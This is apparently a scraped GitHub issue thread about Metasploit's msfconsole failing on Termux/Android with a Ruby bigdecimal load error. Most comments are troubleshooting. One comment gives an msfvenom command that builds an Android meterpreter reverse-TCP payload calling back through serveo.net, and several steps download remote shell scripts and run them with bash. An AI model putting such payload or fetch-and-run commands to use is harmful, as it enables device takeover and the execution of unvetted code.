Metasploit-framework: msfconsole didn't work

Created on 26 Feb 2019  路  18Comments  路  Source: rapid7/metasploit-framework

Steps to reproduce

How'd you do it?

  1. I installed the metasploit on termux. I have tried to reinstall termux but it didn't work. The issue shows up even if removing the app-data of termux.
  2. This issue came out after an uninstall of termux, but I successfully installed it on termux before that.
    The way I install:
    cd $HOME
    pkg install wget
    wget https://Auxilus.github.io/metasploit.sh
    bash metasploit.sh
    During the installation, there's no error (at least seems to be)

    Current behavior

$ ./msfconsole
metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for Msf::DBManager
Traceback (most recent call last):
31: from ./msfconsole:48:in <main>' 30: from ./msfconsole:48:inrequire'
29: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload_generator.rb:2:in <top (required)>' 28: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload_generator.rb:2:inrequire'
27: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload/apk.rb:3:in <top (required)>' 26: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload/apk.rb:3:inrequire'
25: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core.rb:59:in <top (required)>' 24: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire_with_backports'
23: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require' 22: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/db_manager.rb:24:in 21: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/db_manager.rb:65:in <class:DBManager>' 20: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:115:inoptionally_include_metasploit_credential_creation'
19: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:68:in optionally_include_metasploit_credential_creation' 18: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:22:inoptionally'
17: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require_with_backports' 16: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire'
15: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/metasploit-credential-3.0.3/lib/metasploit/credential.rb:11:in <top (required)>' 14: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire_with_backports'
13: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require' 12: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/metasploit_data_models-3.0.5/lib/metasploit_data_models.rb:15:in 11: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require_with_backports' 10: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire'
9: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activerecord-4.2.11/lib/active_record.rb:32:in <top (required)>' 8: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activerecord-4.2.11/lib/active_record.rb:130:in'
7: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require_with_backports' 6: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire'
5: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activerecord-4.2.11/lib/active_record/connection_adapters/abstract_adapter.rb:3:in <top (required)>' 4: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire_with_backports'
3: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require' 2: from /data/data/com.termux/files/usr/lib/ruby/2.6.0/bigdecimal/util.rb:9:in 1: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require_with_backports' /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire': dlopen failed: cannot locate symbol "rmpd_util_str_to_d" referenced by "/data/data/com.termux/files/usr/lib/ruby/2.6.0/aarch64-linux-android/bigdecimal/util.so"... - /data/data/com.termux/files/usr/lib/ruby/2.6.0/aarch64-linux-android/bigdecimal/util.so (LoadError)
14: from ./msfconsole:48:in <main>' 13: from ./msfconsole:48:inrequire'
12: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload_generator.rb:2:in <top (required)>' 11: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload_generator.rb:2:inrequire'
10: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload/apk.rb:3:in <top (required)>' 9: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload/apk.rb:3:inrequire'
8: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core.rb:59:in <top (required)>' 7: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire_with_backports'
6: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require' 5: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/db_manager.rb:24:in 4: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/db_manager.rb:65:in <class:DBManager>' 3: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:115:inoptionally_include_metasploit_credential_creation'
2: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:68:in optionally_include_metasploit_credential_creation' 1: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:20:inoptionally'
/data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:25:in rescue in optionally': undefined methodwithout' for # (NoMethodError)

System stuff

Metasploit version

Get this with the version command in msfconsole (or git log -1 --pretty=oneline for a source install).

I installed Metasploit with:

  • [ ] Kali package via apt
  • [ ] Omnibus installer (nightly)
  • [ ] Commercial/Community installer (from http://www.rapid7.com/products/metasploit/download.jsp)
  • [x] Source install (please specify ruby version)
    $ ruby --version
    ruby 2.6.1p33 (2019-01-30 revision 66950) [aarch64-linux-android]

OS

What OS are you running Metasploit on?
OS: Android 9 aarch64

question termux

Most helpful comment

try this:

wget https://github.com/termux/termux-packages/files/2912002/fix-ruby-bigdecimal.sh.txt
bash fix-ruby-bigdecimal.sh.txt

and this after the one above:

$PREFIX/lib/ruby/2.6.0/aarch64-linux-android/bigdecimal/util.so

THANKS TO XEFFYR

All 18 comments

Termux is not officially supported. #11023

However, Metasploit reportedly does work with Termux.

Refer to the following for more information:

I don't know why i am getting this error, metasploit was working fine no errors, before i uninstalled termux. I tried to install metasploit yesterday but getting the error above.
Is there any fix for that ?

Ask the termux people, metasploit already gave their response.

I also get the same error

Even with other metasploit installers 馃槩

Please stop posting to this. The issue is not related to metasploit and therefore you won't receive help. Seek help on the termux pages/site, they will be able to assist

Ok

try this:

wget https://github.com/termux/termux-packages/files/2912002/fix-ruby-bigdecimal.sh.txt
bash fix-ruby-bigdecimal.sh.txt

and this after the one above:

$PREFIX/lib/ruby/2.6.0/aarch64-linux-android/bigdecimal/util.so

THANKS TO XEFFYR

it worked for me

Thanks for the 馃槝

thank bro worked for me

Thanks!

msfvenom -p android/meterpreter/reverse_tcp LHOST=serveo.net LPORT=4564 R
/data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activesupport-4.2.11.1/lib/active_support/core_ext/object/duplicable.rb:111: warning: BigDecimal.new is deprecated; use BigDecimal() method instead.

how to fix

data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activesupport-4.2.11.1/lib/active_support/core_ext/object/duplicable.rb:111: warning: BigDecimal.new is deprecated; use BigDecimal() method instead. is just a warning, you can ignore it for now.

@@21MRunknown12
21MRunknown12 What about arm?

Traceback (most recent call last):
14: from ./beef:44:in <main>' 13: from /data/data/com.termux/files/usr/lib/ruby/site_ruby/2.6.0/rubygems/core_ext/kernel_require.rb:54:inrequire'
12: from /data/data/com.termux/files/usr/lib/ruby/site_ruby/2.6.0/rubygems/core_ext/kernel_require.rb:54:in require' 11: from /data/data/com.termux/files/home/beef/core/loader.rb:16:in 10: from /data/data/com.termux/files/usr/lib/ruby/site_ruby/2.6.0/bundler.rb:114:in require' 9: from /data/data/com.termux/files/usr/lib/ruby/site_ruby/2.6.0/bundler/runtime.rb:65:inrequire'
8: from /data/data/com.termux/files/usr/lib/ruby/site_ruby/2.6.0/bundler/runtime.rb:65:in each' 7: from /data/data/com.termux/files/usr/lib/ruby/site_ruby/2.6.0/bundler/runtime.rb:76:inblock in require'
6: from /data/data/com.termux/files/usr/lib/ruby/site_ruby/2.6.0/bundler/runtime.rb:76:in each' 5: from /data/data/com.termux/files/usr/lib/ruby/site_ruby/2.6.0/bundler/runtime.rb:81:inblock (2 levels) in require'
4: from /data/data/com.termux/files/usr/lib/ruby/site_ruby/2.6.0/bundler/runtime.rb:81:in require' 3: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/dm-core-1.2.1/lib/dm-core.rb:3:in 2: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/dm-core-1.2.1/lib/dm-core.rb:3:in require' 1: from /data/data/com.termux/files/usr/lib/ruby/2.6.0/bigdecimal/util.rb:9:in /data/data/com.termux/files/usr/lib/ruby/2.6.0/bigdecimal/util.rb:9:in `require': dlopen failed: invalid ELF file "/data/data/com.termux/files/usr/lib/ruby/2.6.0/arm-linux-androideabi/bigdecimal/util.so" load segment[8]: p_offset (0x2000) + p_filesz (0x2ec) ( = 0x22ec) past end of file (0x22ec) - /data/data/com.termux/files/usr/lib/ruby/2.6.0/arm-linux-androideabi/bigdecimal/util.so (LoadError)

/data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activesupport-4.2.11/lib/active_support/core_ext/object/duplicable.rb:111: warning: BigDecimal.new is deprecated; use BigDecimal() method instead.
Traceback (most recent call last):
6: from msfvenom:428:in <main>' 5: from msfvenom:55:inframework'
4: from msfvenom:36:in init_framework' 3: from msfvenom:18:inrequire_deps'
2: from /data/data/com.termux/files/usr/lib/ruby/site_ruby/2.6.0/rubygems/core_ext/kernel_require.rb:92:in require' 1: from /data/data/com.termux/files/usr/lib/ruby/site_ruby/2.6.0/rubygems/core_ext/kernel_require.rb:92:inrequire'
/data/data/com.termux/files/home/metasploit-framework/lib/msfenv.rb:17:in <top (required)>': undefined methodapplication' for Rails:Module (NoMethodError)

Was this page helpful?
0 / 5 - 0 ratings

Related issues

wvu-r7 picture wvu-r7  路  3Comments

BaconBombz picture BaconBombz  路  3Comments

miholtz picture miholtz  路  3Comments

fluit105 picture fluit105  路  3Comments

adrianmihalko picture adrianmihalko  路  3Comments